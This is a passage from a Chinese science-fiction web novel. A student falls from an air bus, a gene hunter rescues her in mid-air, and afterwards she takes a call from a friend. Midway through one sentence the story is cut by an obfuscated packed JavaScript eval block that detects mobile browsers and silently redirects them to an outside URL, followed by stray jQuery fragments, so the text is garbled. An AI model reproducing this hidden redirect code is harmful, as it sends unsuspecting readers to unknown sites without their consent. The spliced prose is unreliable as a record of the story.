哦……不。


    这就是她短暂的一生吗？


    风从四面八方灌进耳朵里，吹得伏夜今的耳膜生疼。


    什么叫出师未捷中道崩阻啊？


    校友的案子还没了结，与母亲的关系尚未缓和，基因猎人的理想也还没实现，就要这么壮志未酬英年早逝了？


    她想到那些因铤而走险出现在案发现场的失败改造案例。


    死亡原因那一栏，只会冷冰冰地写上“改造失败”四个字，并在后面附上案件的编号。


    难道她也是一样，还没来得及在世界上留下什么像样的痕迹，就要连人带箱子一起变成一串事故编号？


    她看见小时候伏莉出差给她带回来的机器人小鸭子，嘴壳上的编号正好是她的生日。


    她看见幼小的伏郁尘扑上去抢那个小鸭子，却又在抢过来之后递给了她。


    她看见伏莉温柔地注视着自己的模样，她说妈妈不在家的日子，不可以欺负弟弟。


    她看见章伽还有俞家兄妹，看见他们几个一起在献希的矿渣堆里玩稀土石块的样子。


    ……


    她还看见伏莉凶狠的眼神，她大声地呵斥自己。


    “绝对不行！就算你神经科测出满分也不能去！我可以带你去做商业改造，也可以让你去智联念书，但改造院你想都不要想！


    “回来吧小今，你实在要去，答应妈妈一定要保护好自己的安全……


    “基因猎人？你疯了？改造院我都让你去了你还要怎样？基因猎人不可能！除了这个别的都可以。


    “你这次再要犟的话，我俩就断绝母女关系好了！反正你也成年了，我已经尽完自己的义务了！”


    ……


    伏夜今抱着箱子急速下坠，无数画面像幻灯片一样在她脑海里轮番播放。


    原来她还是这样……什么也抓不住吗？


    难道她真的选错了？


    这一切都是个错误对不对？


    给死神欠下的999条命，这次恐怕是该还了。


    女孩的眼角泌出了一滴眼泪。


    这眼泪倒映出周围五颜六色的信标，好像一滴浓缩的星空。


    就在这千钧一发之时……忽然！


    一道低沉而强劲的引擎轰鸣声忽然由远及近地响起。


    一台通体漆黑、线条硬朗，侧面喷涂特殊基因作战部生命螺旋三角徽记的特型飞行器出现在了夜空中。


    好似暗夜中扑出的猎隼，以一个极其惊险刁钻的角度，从空中巴士的下方猛地俯冲下去，精准地奔向了伏夜今的正下方！


    与此同时，飞行器的腹部打开一条狭长的裂缝，一根黑色的缆绳“嗖”地垂了下来。


    “呼！”


    一个人影从舱门口干净利落地纵身一跃。


    那人穿着一袭黑色的战斗服，带着一截安全绳，像一支笔直划下来的黑线。


    黑衣人的速度通过缓降器调整，先快后慢，离她越来越近。


    对方在空中猛地一扭腰，整个人从头朝下翻成了背朝下，与伏夜今的坠落姿态对齐，角度几乎一模一样。


    “……把箱子扔了！”


    那是伏夜今在风中听见的第一句话。


    可是听到这句话之后，她不但没扔，反而把箱子抱得更紧了。


    黑衣人见她没反应，皱起了眉头，嘀咕道：“真是个犟种。”


    距离在肉眼可见地缩短——五米，三米，一米半。


    “砰！”


    两个人在半空撞到一起。


    伏夜今感到一股冷冽又带点攻击性的气息朝她袭来。


    她很难形容这个味道，因为攻击性是通过“联感”和别的气息混在一起的，并不是真实存在的味道，大概只有神经科的学生才懂。


    伏夜今闷哼一声，感到身体被什么整个箍住——是对方张开的手臂和胸膛。


    随后她感觉自己的腰部被一个物件“咔哒”一声扣住。


    那是屠靖川安全带上的副锁。


    屠靖川的短发被风一吹，贴着颧骨往后扫，露出一张凌厉的侧脸。


    伏夜今试图看清她的脸，但夜色太黑了。


    此刻，她眼角的那滴眼泪终于掉了下来，被风吹到了屠靖川的脖子里。


    “别怕。”屠靖川在她耳边低语。


    短短两个字，给人以莫大的安慰。


    话音刚落，伏夜今腰上的缆绳猛然收紧。


    位于飞行器腹部的缓降器发出一声低沉的鸣响，绳索上的冲击力被硬生生拉长了数米的距离。


    两人的坠落轨迹被缓降器的程序改写。


    从笔直向下的落线变成了在夜色里划出的巨大弧线。


    与此同时，飞行器开始调整姿态，微微倾斜，将回收路径调整到最佳角度。


    门口站着另一名队员，正半跪着准备接应，旁边是闪烁着的医疗设备指示灯。


    飞行器内的灯光倾泻而出，勾勒出舱门的冷硬轮廓。


    绳索不断回收，就在即将进入舱门的时候，一阵突如其来的气流让两人在空中颠簸了一下。


    悬挂着的绳索猛地一荡，伏夜今怀里的箱子差点脱手，她下意识地更用力抱住。


    屠靖川的手臂瞬间收紧，同时腰腹发力，将她牢牢箍住。


    这股力量令人安心。


    不一会儿，两人终于顺利抵达舱门。


    接应队员反应很快，她双手用力地抓住屠靖川的肩膀和安全背带，把两人拽了上来。


    伏夜今只觉得脚下一实，坚硬的金属地板触感从脚底传来，腰间的副锁“咔”地一声被解开。


    屠靖川利落地站起身，伸手将还有些发软的伏夜今也拉了起来。


    舱门在她们身后迅速闭合，将狂风隔绝在外。


    里面的光线柔亮，空气里有着循环系统特有的微凉，还夹杂一丝金属味的淡香。


    伏夜今把手提箱递给接应员，终于看清了救她上来的女性。


    个子高挑，齐耳短发，眼神锐利而冷静，脸上没有什么表情，却并不让人觉得冷漠，整个人看上去有种淡然又不羁的气质。


    对方向她伸出了手，平静道：“屠靖川。”


    伏夜今愣了一瞬，脸上立即绽放出一个惊喜的笑容，原来这就是临时加入徐海案的那位名头响亮的基因猎人。


    虽然早有耳闻，但之前因为补考的事遗憾错过，这还是她第一次真正见到屠靖川，也就是杨队口中的“川队”。


    “您好，我叫伏夜今，谢谢您救我！”她有些激动地上前握住了对方的手。


    屠靖川摆摆手，顺便拿起一瓶能量饮料递给她，轻描淡写道。


    “你很幸运，如果不是今天恰好开了部里的飞行器来，那就很难说了。”


    刘助用便携检测仪对伏夜今进行扫描，仪器开始报告结果。


    【目标生命体征稳定，有轻微惊吓反应，脑机循环正常，神经链路过度消耗……】


    对方收好仪器，拍拍她的肩膀，笑道：“同学，大难不死必有后福啊！”


    伏夜今脸色有些发白，劫后余生的此刻，她才有心情开始复盘这次“坠机”事件。


    那时她是被巴士剧烈摇晃的那一下甩出去的，而巴士当时应该是已经有点偏离轨道了，这种情况理论上会引起通网的注意。


    假如她在下坠过程中被通网的信号监测到，可能还有机会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958833|193261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被巡逻的空警救回来，但即便如此，生还机会也并不大，只有不到30%。


    所以她确实很幸运。


    伏夜今接过饮料喝了一口，感觉舒服多了。


    她跟着屠靖川来到舱内的休息区。


    屠靖川坐到旁边的内置电脑前处理工作。


    伏夜今捧着饮料瓶，表情凝重地开口：“对不起川队，这次任务有些失败，那个大巴里面的嫌疑人有内应，我们……”声音里充满愧疚。


    “你根本不知道你面对的是什么样的敌人。”屠靖川转过头，眼神锐利地打断她。


    伏夜今愣住了。


    屠靖川从旁边的储物柜里抽出一条密封的湿巾，声线柔和了些。


    “不要说‘失败’，在编的基因猎人也不见得比你做得好，好好休息一下，我处理点事。”


    伏夜今眼角发酸，她这才意识到自己脸上有泪痕，还有灰尘。


    她接过湿巾，张了张嘴，声音有些哽咽，“……谢谢川队。”


    屠靖川勾勾唇角，转头对刘助说：“把夜今拿到的箱子给我拿过来。”


    刘助应声，“好的川队。”


    伏夜今把用完的湿巾扔到垃圾处理箱里，湿巾立刻分解成了絮状。


    由于人体改造业的兴起，每天产生的工业垃圾越来越多，卫生部的压力逐渐增大，政府开始和企业合力推出这种带功能性质的垃圾箱。


    扔完湿巾后，她抬头看向屠靖川面前的内置电脑弹出的全息画面——人物照片+滚动的蓝色信息流，有点像是“泥蛇”的个人信息。


    看来泥蛇已经被抓到了。


    还不知道杨队那边的情况，她伸手去摸手机。


    托她下坠那会儿紧紧抱着箱子的福，上衣内袋里的手机没有在下坠过程中被甩出去。


    伏夜今刚把手机拿出来，手机屏幕就亮起了光点——是章伽。


    她立刻接了起来。


    “你们怎么样了？”


    “今，你没事吧？！”


    两人的声音几乎是叠在了一起。


    章伽的声音非常急切：“你先说，怎么样了你？！我看杨队说川队已经成功接到你了？！真的吗？”


    伏夜今点开秘外八队的群聊，这才发现群里早就炸开了锅，通话记录里也全是未接。


    秘八这个加杨队不到10人的小群硬是刷了好几百条消息出来，一大半都是讨论她俩尤其是她的安危的。


    “我已经没事了，现在在川队的飞行器里休息，你们怎么样？”伏夜今赶紧给章伽报了平安。


    章伽这才放下心来，开始向她叙述巴士的情况。


    “你没事就好，你掉下去之后我整个人懵了，冲上去把穿衬衫那小子狠狠揍了一顿！！


    “安全员报了警，后面空警来了把我们转移到了安全的地方，我现在正跟着他们去治安所做笔录呢。”


    伏夜今关切地问她：“你有受伤吗？”


    “还好，那小子我估计在盛鼎做了一次性改造，后面效果没了，我收拾他没费啥事。”章伽回道。


    “那就行，我这边可能一会跟着川队回特战部，到那了咱俩再联系吧？”伏夜今悬着的一颗心这才微微放下。


    章伽道：“好啊，我这边也快到了，行那有事随时联系啊，就先挂了。”


    “嗯，拜拜。”


    结束对话后，她把手机从耳朵旁边拿下来。


    屏幕上又亮起新的光点。


    伏夜今瞄一眼上面的名字，一下子顿住。


    女孩的指尖一紧，刚缓过来的心脏又猛地一缩，整个人陷入巨大的不安中，还夹杂着无数的愧疚和难过。


    她不敢接。